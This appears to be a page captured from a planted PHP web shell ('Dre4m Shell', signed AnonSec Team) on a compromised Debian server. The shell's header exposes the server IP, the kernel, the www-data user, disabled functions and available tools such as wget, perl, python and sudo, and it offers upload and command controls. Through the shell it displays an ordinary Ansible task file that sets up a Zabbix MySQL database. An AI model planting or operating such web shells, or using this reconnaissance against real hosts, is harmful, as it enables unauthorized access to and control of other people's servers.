Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.119.108.98
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/zabbix/roles/zabbix_server/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/zabbix/roles/zabbix_server/tasks/mysql.yml
---
# task file for mysql
- name: "Set the correct delegated_dbhost (to support MySQL db deployment on a remote dbhost)"
  set_fact:
    delegated_dbhost: "{{ zabbix_server_dbhost if (zabbix_server_dbhost != 'localhost') else inventory_hostname }}"
  when:
    - zabbix_server_dbhost_run_install

- name: "Set the correct delegated_dbhost (to support MySQL db deployment on a remote dbhost)"
  set_fact:
    delegated_dbhost: "{{ inventory_hostname }}"
  when:
    - not zabbix_server_dbhost_run_install

- name: "Override delegated_dbhost with real dbhost when dbhost is behind loadbalancer"
  set_fact:
    delegated_dbhost: "{{ zabbix_server_real_dbhost }}"
  when: zabbix_server_real_dbhost | default(false)

- name: "MySQL | Create database"
  community.mysql.mysql_db:
    name: "{{ zabbix_server_dbname }}"
    encoding: "{{ zabbix_server_dbencoding }}"
    collation: "{{ zabbix_server_dbcollation }}"
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
    state: present
  when: zabbix_database_creation
  register: zabbix_database_created
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database
    - skip_ansible_lint

- name: "MySQL | Create database user"
  community.mysql.mysql_user:
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
    name: "{{ zabbix_server_dbuser }}"
    password: "{{ zabbix_server_dbpassword }}"
    priv: "{{ zabbix_server_dbname }}.*:ALL"
    host: "{{ zabbix_server_privileged_host }}"
    state: present
  when: zabbix_database_creation
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database

- name: "Get the file for create.sql >= 3.0"
  shell: ls -1 {{ datafiles_path }}/{{ 'create' if zabbix_version is version('6.0', '<') else 'server' }}.sq*
  changed_when: false
  when:
    - zabbix_version is version('3.0', '>=')
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
  register: ls_output_create
  tags:
    - zabbix-server
    - database

- name: MySQL | Get current database version
  shell: |
    mysql -h {{ zabbix_server_dbhost }} -u{{ zabbix_server_dbuser }} \
    -p'{{ zabbix_server_dbpassword }}' -D '{{ zabbix_server_dbname }}' \
    -e 'SELECT mandatory FROM dbversion;'
  register: mysql_db_version
  changed_when: false
  ignore_errors: true

# If the above check failed, then there was no dbversion table in the database.
# We'll create it, below. Otherwise, we can access the database version in
# `mysql_db_version["stdout_lines"][1]`, for example 5000000 for Zabbix 5.0.
- name: MySQL | Check if database needs to be populated
  set_fact:
    mysql_schema_empty: "{{ mysql_db_version is failed }}"

- name: "MySQL | Get version_comment"
  community.mysql.mysql_variables:
    variable: version
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
  delegate_to: "{{ delegated_dbhost }}"
  register: install_mysql_version
  tags:
    - zabbix-server
    - database

- name: "MySQL | Get current value for innodb_default_row_format"
  community.mysql.mysql_variables:
    variable: innodb_default_row_format
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
  delegate_to: "{{ delegated_dbhost }}"
  register: mysql_innodb_default_row_format
  when:
    - not ansible_check_mode
    - install_mysql_version.msg is version('5.6', '>=')
  tags:
    - zabbix-server
    - database

- name: "MySQL | Set innodb_default_row_format to dynamic"
  community.mysql.mysql_variables:
    variable: innodb_default_row_format
    value: dynamic
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
  when:
    - zabbix_version is version('3.0', '>=')
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty
    - install_mysql_version.msg is version('5.6', '>=')
    - mysql_innodb_default_row_format.msg != 'dynamic'
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database

- name: "MySQL | Disable InnoDB Strict Mode"
  community.mysql.mysql_variables:
    variable: innodb_strict_mode
    value: 0
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
  when:
    - zabbix_version is version('3.0', '>=')
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty
    - install_mysql_version.msg is version('5.6', '>=')
    - ansible_distribution_release == "buster"
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database

- name: "Fetch sql create file"
  fetch:
    src: "{{ ls_output_create.stdout }}"
    dest: /tmp/{{ role_name }}/
    flat: true
  when:
    - delegated_dbhost != inventory_hostname
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty

- name: "Copy sql create file"
  copy:
    src: /tmp/{{ role_name }}/
    dest: "{{ ls_output_create.stdout | dirname }}"
    mode: '0640'
  delegate_to: "{{ delegated_dbhost }}"
  when:
    - delegated_dbhost != inventory_hostname
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty

- name: "MySQL | Create database and import file >= 3.0"
  community.mysql.mysql_db:
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
    name: "{{ zabbix_server_dbname }}"
    encoding: "{{ zabbix_server_dbencoding }}"
    collation: "{{ zabbix_server_dbcollation }}"
    state: import
    target: "{{ ls_output_create.stdout }}"
  when:
    - zabbix_version is version('3.0', '>=')
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database

- name: "MySQL | Revert innodb_default_row_format to previous value"
  community.mysql.mysql_variables:
    variable: innodb_default_row_format
    value: '{{ mysql_innodb_default_row_format.msg }}'
    login_host: "{{ zabbix_server_mysql_login_host | default(omit) }}"
    login_user: "{{ zabbix_server_mysql_login_user | default(omit) }}"
    login_password: "{{ zabbix_server_mysql_login_password | default(omit) }}"
    login_port: "{{ zabbix_server_mysql_login_port | default(omit) }}"
    login_unix_socket: "{{ zabbix_server_mysql_login_unix_socket | default(omit) }}"
  when:
    - zabbix_version is version('3.0', '>=')
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty
    - mysql_innodb_default_row_format.msg != 'dynamic'
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database

- name: "Check if we have sql_done files >= 3.0"
  file:
    path: /etc/zabbix/create.done
    state: touch
    mode: '0644'
  when:
    - zabbix_version is version('3.0', '>=')
    - zabbix_database_sqlload | bool
    - zabbix_repo != "epel"
    - mysql_schema_empty

- name: "Get the correct path for the SQL files < 3.0"
  shell: ls -1 {{ datafiles_path }}/{{ mysql_create_dir }}{{ item }}.sql*
  changed_when: false
  register: ls_output_schema
  with_items:
    - schema
    - images
    - data
  when:
    - zabbix_version is version('3.0', '<')
    - zabbix_database_sqlload | bool
  tags:
    - zabbix-server
    - database

- name: "Check if we have done files < 3.0"
  stat:
    path: /etc/zabbix/{{ item }}.done
  register: done_files
  with_items:
    - schema
    - images
    - data
  when:
    - zabbix_version is version('3.0', '<')
    - zabbix_database_sqlload | bool
  tags:
    - zabbix-server
    - database

- name: "Create fact if sql_done files exists"
  set_fact:
    sql_files_executed: "{{ sql_files_executed | default({}) | combine({item.item: item.stat}) }}"
  with_items: "{{ done_files.results }}"
  when:
    - zabbix_version is version('3.0', '<')
    - zabbix_database_sqlload | bool
  tags:
    - zabbix-server
    - database

- name: "MySQL | Create database and import files < 3.0"
  community.mysql.mysql_db:
    name: "{{ zabbix_server_dbname }}"
    encoding: "{{ zabbix_server_dbencoding }}"
    collation: "{{ zabbix_server_dbcollation }}"
    state: import
    target: "{{ item.stdout }}"
  with_items: "{{ ls_output_schema.results }}"
  when:
    - zabbix_version is version('3.0', '<')
    - zabbix_database_sqlload | bool
    - not sql_files_executed[item.item].exists
  delegate_to: "{{ delegated_dbhost }}"
  tags:
    - zabbix-server
    - database

- name: "Check if we have sql_done files < 3.0"
  file:
    path: /etc/zabbix/{{ item }}.done
    state: touch
    mode: '0644'
  with_items:
    - schema
    - images
    - data
  when:
    - zabbix_version is version('3.0', '<')
    - zabbix_database_sqlload | bool
    - not sql_files_executed[item].exists
  tags:
    - zabbix-server
    - database

Anon7 - 2022
AnonSec Team